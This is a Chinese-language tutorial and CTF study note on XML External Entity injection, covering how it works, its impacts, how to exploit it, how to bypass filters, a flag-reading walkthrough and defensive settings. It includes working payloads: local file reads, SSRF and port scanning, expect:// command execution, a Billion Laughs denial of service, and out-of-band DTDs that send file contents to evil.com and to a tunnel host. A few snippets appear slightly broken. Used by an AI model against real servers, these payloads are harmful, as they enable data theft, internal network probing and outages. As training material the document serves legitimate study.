一、漏洞原理
XXE(XML External Entity Injection,XML 外部实体注入)是指攻击者在可控的 XML 数据中,通过构造恶意的外部实体声明,让服务器解析 XML 时加载外部资源或文件,从而导致信息泄露、请求伪造、命令执行等危害。
核心成因:应用的 XML 解析器启用了外部实体加载功能,并且解析的 XML 内容部分可控,攻击者可以注入自定义的 DOCTYPE 和实体定义。
XML 基础回顾:
一个典型的 XML 文件结构:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe "Hello World">
]>
<root>
<name>&xxe;</name>
</root>
<!DOCTYPE>定义文档类型,可以包含内部实体或外部实体。<!ENTITY>定义一个实体,实体的引用&xxe;会被替换成其内容。- 外部实体 :使用
SYSTEM关键字引用外部资源,例如<!ENTITY xxe SYSTEM "file:///etc/passwd">,当&xxe;被解析时,会加载指定文件内容。
XXE 触发的关键条件:
- XML 解析器开启了外部实体解析(默认在许多旧版解析器中是开启的)。
- 攻击者能够控制 XML 内容的一部分(如接口接受 XML 输入,或可上传 XML 文件)。
二、XXE 的危害
- 任意文件读取 :通过
file://协议读取服务器本地文件(如/etc/passwd、/flag) - SSRF :通过
http://协议让服务器发起对内网或其他服务器的请求 - 端口探测:通过发起内网请求并根据响应判断端口开放情况
- 拒绝服务(DoS):构造递归实体,造成解析器资源耗尽("Billion Laughs" 攻击)
- 远程代码执行 (少见):在极少数配置下,可通过
expect://协议执行系统命令(PHP 的 expect 模块) - 数据外带:在盲 XXE 中将文件内容通过 HTTP/FTP 请求发送到攻击者服务器
三、XXE 的分类
根据回显方式,可分为三类:
3.1 有回显 XXE(In-band XXE)
应用会将 XML 的解析结果(或实体引用的内容)直接返回到响应中,攻击者可以直接在返回内容里看到文件内容。
示例 Payload:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<root>
<username>&xxe;</username>
</root>
xml
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<user>
<username>&xxe;</username>
</user>
- `<!ENTITY xxe>`:自定义实体名称 `xxe`,调用时用`&xxe;`引用
- `SYSTEM`:标记这是**外部实体**,会读取外部资源
- `file:///tmp/flag.txt`:本地文件协议,告诉解析器读取服务器 `/tmp/flag.txt` 文件内容
-XML 解析器在渲染文档时,会自动把`&xxe;`替换成 `/tmp/flag.txt` 的完整文本内容,最终响应返回文件内容给攻击者。
如果返回的 <name> 标签内容变成了 /etc/passwd 的文件内容,即为有回显 XXE。
3.2 带外数据 XXE(OOB XXE,Out-of-Band)
没有直接回显,但可以强制解析器向攻击者服务器发送请求,通过 HTTP 或 DNS 将文件内容带出。
示例 Payload(通过 HTTP 外带):
xml
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % call "<!ENTITY exfil SYSTEM 'http://evil.com/?data=%file;'>">
%call;
]>
xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "File:///tmp/flag.txt">
]>
<data>
<username>&xxe</username>
<email>guest@example.com</email>
</data>
注意:这种写法由于实体引用限制,通常需要将参数实体和常规实体分开使用,实际利用时需要使用 DTD 文件组合。
3.3 盲 XXE(Blind XXE)
完全没有直接回显,也不能直接建立出站连接(或只能依赖错误信息)。需要利用错误信息泄露或时间盲注等方式推断数据。
例如,当文件不存在时产生错误,或通过不同响应状态码判断 /flag 是否存在。
xml
dtd文件中用
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/tmp/flag.txt">
<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'https://3510c197.r18.cpolar.top/?flag=%file;'>"> %exfiltrate; %send;
这个base64编码就可以
用file直接读取文件
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'https://3510c197.r18.cpolar.top/?flag=%file;'>">%exfiltrate;%send;
报错Notice
: DOMDocument::loadXML(): PEReference: %send; not found in Entity, line: 1 in
这是为什么呢
内侧ENTITY声明不要加符号!空格就行!
注意!!!
<!ENTITY % exe "<!ENTITY % entity SYSTEM 'http://.../?flag=%file;'>">
<!ENTITY % exe "<!ENTITY % entity SYSTEM 'http://.../?flag=%file;'>">
这俩写法都是错的,不要在内部的ENTITY再写 % 或者 % 正确做法是不写!!!!
四、XXE 的利用手法
4.1 读取本地文件(最常用)
适用于有回显场景。
基础 payload:
xml
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>&xxe;</root>
常用文件路径:
- Linux:
/etc/passwd、/flag、/proc/self/environ - Windows:
C:\Windows\win.ini、C:\flag.txt
绕过绝对路径未知 :可以读取 /etc/hostname、/proc/self/cwd/flag(当前工作目录下的 flag)等。
4.2 利用 PHP 伪协议读取文件
如果目标服务器是 PHP,且 XML 解析器支持 PHP 封装协议(如 php://filter),可读取源码或文件并返回 Base64 编码的内容。
xml
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>
<root>&xxe;</root>
返回 base64 编码后的 flag,解码即可。
4.3 内网请求与端口扫描(SSRF)
利用 http:// 协议发起请求:
xml
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/flag">
]>
<root>&xxe;</root>
扫描端口:尝试不同端口,根据响应时间或错误信息(如"Connection refused")判断端口是否开放。常配合 Burp Intruder。
4.4 盲 XXE 外带数据(OOB)
当没有直接回显时,通过将文件内容嵌入到对攻击者服务器的请求中,来窃取数据。
经典 OOB 结构(利用参数实体和外部 DTD):
-
在攻击者 VPS 上放置一个 DTD 文件(如
evil.dtd):xml<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % start "<!ENTITY % send SYSTEM 'http://evil.com/?f=%file;'>"> %start;(
%是%的实体编码,用于绕过嵌套实体限制) -
在目标处提交 XML payload,引入外部 DTD 并调用:
xml<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd"> %dtd; ]> <root>test</root> -
解析时会加载外部 DTD,其中定义了
file实体读取本地文件,然后通过 HTTP 请求将内容发送到攻击者服务器。在 VPS 的访问日志中即可看到/flag的内容。
注意:这种方式要求目标服务器能够出站访问攻击者的服务器(有网络策略可能阻断)。
4.5 利用 DNS 外带(无需 HTTP 出站)
若 HTTP 被禁,但 DNS 请求能出站,可以通过 DNS 查询携带数据。
在 DTD 中使用:
xml
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % send SYSTEM "http://%file;.evil.com/">
将文件内容作为子域名发出 DNS 查询,攻击者在 DNS 服务器端查看日志即可得到内容(需注意域名长度限制和字符限制,可能需要过滤/截断)。
4.6 拒绝服务攻击(Billion Laughs)
递归实体导致指数级膨胀,耗尽内存。
xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
...
]>
<lolz>&lol9;</lolz>
触发服务器资源耗尽,导致拒绝服务。
4.7 执行系统命令(较少)
PHP 环境下,若安装了 expect 扩展,并且 XML 解析器加载了该模块,可以使用 expect:// 协议执行命令:
xml
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
但实际环境中极为罕见,一般不作为主要攻击面。
五、绕过 XXE 防御技巧
部分应用会对用户的输入进行过滤,如移除 ENTITY、SYSTEM 等关键词,需要绕过。
5.1 大小写变体
xml
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag">
]>
改成:
xml
<!doctype foo [
<!entity xxe system "file:///flag">
]>
5.2 编码绕过
- 使用 UTF-16 编码绕过 WAF(需确保 Content-Type 对应)
- 使用实体编码:
<代替<等(但 DOCTYPE 声明本身必须为原始字符,内部可用) - 在外部 DTD 里进行嵌套,避免直接出现敏感关键词
5.3 空格与注释混淆
在关键词中间插入空格、换行或注释:
xml
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
或:
xml
<!ENTITY % xxe SYSTEM "file:///flag">
%xxe;
5.4 使用参数实体分段调用
将 SYSTEM 和路径分开定义,避免直接被过滤:
xml
<!DOCTYPE foo [
<!ENTITY % call "SYSTEM">
<!ENTITY % path "file:///flag">
<!ENTITY % xxe "<%call; '%path;'>">
%xxe;
]>
(实践中需要根据解析器特性调整)
5.5 JSON 到 XML 的攻击面(XML 内部转换)
如果应用接受 JSON 输入,但内部转换为 XML 处理(例如使用了 XML 数据库或 SOAP),可尝试注入包含 XML 实体的 JSON 内容,或通过 JSON 值修改内部 XML 结构。
六、CTF 实战示例:XXE 读 Flag
题目描述 :一个在线购物网站,支持通过 XML 格式上传订单数据。提交 XML 后返回订单确认信息。目标:读取服务器上的 /flag 文件。
步骤:
-
确定 XML 解析
拦截正常请求,发现
Content-Type: application/xml,请求体为:xml<?xml version="1.0"?> <order> <item>book</item> <quantity>1</quantity> </order>响应中会回显
<message>Order placed for book x 1</message>,说明我们的输入被解析并回显。 -
测试实体注入(有回显)
发送:
xml<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY test "hello"> ]> <order> <item>&test;</item> <quantity>1</quantity> </order>响应变为
Order placed for hello x 1,成功执行实体,确认存在有回显 XXE。 -
尝试读取文件
xml<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <order> <item>&xxe;</item> <quantity>1</quantity> </order>若直接返回 flag 内容则完成。如果失败(比如被过滤),尝试下一步。
-
使用 PHP 伪协议(假设后端为 PHP)
xml<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag"> ]> <order><item>&xxe;</item></order>返回 base64 字符串,解码得到 flag。
-
若直接回显被禁用(盲 XXE)
尝试带外数据。在自己的 VPS 上放置
evil.dtd,内容如上文 OOB 部分。然后发送:xml<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://your-vps/evil.dtd"> %dtd; ]> <order><item>1</item></order>在 VPS 日志中看到包含
/flag内容的请求。 -
绕过过滤
如果提示"ENTITY is not allowed"之类的错误,尝试大小写或利用参数实体。或者通过将整个注入放在外部 DTD 中,减少直接敏感字符。
-
拿到 Flag
成功将文件内容显示或外带,得到
flag{xxe_is_fun}。
七、常见防御措施
- 禁用外部实体解析 :这是最根本的防御。在各种语言中配置:
- PHP:
libxml_disable_entity_loader(true); - Java (SAX/DOM):设置
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - Python (lxml):使用
resolve_entities=False
- PHP:
- 使用不易受 XXE 影响的 XML 库 ,如 Python 的
defusedxml,Java 的XMLInputFactory安全配置。 - 白名单验证输入内容 ,过滤
<!DOCTYPE、<!ENTITY、SYSTEM等(但绕过可能性高,不推荐作为唯一防线)。 - 升级解析器:较新版本的库默认禁用外部实体。
- WAF 可以检测并阻止典型的 XXE payload,但需配合后端安全配置。
- 最小权限运行,限制出站网络连接,防止盲 XXE 外带数据。
八、总结
- XXE 漏洞本质是 XML 解析器对用户输入的盲信,执行了攻击者定义的外部实体加载。
- CTF 中常考察有回显读文件 、带外数据外带 、内网探测等利用手法。
- 绕过技巧集中在协议伪协议、编码混淆和实体嵌套构造上。
- 防御的核心是禁用外部实体,而非依赖过滤或 WAF。
- 理解 DTD 和实体的工作机制是掌握 XXE 的关键。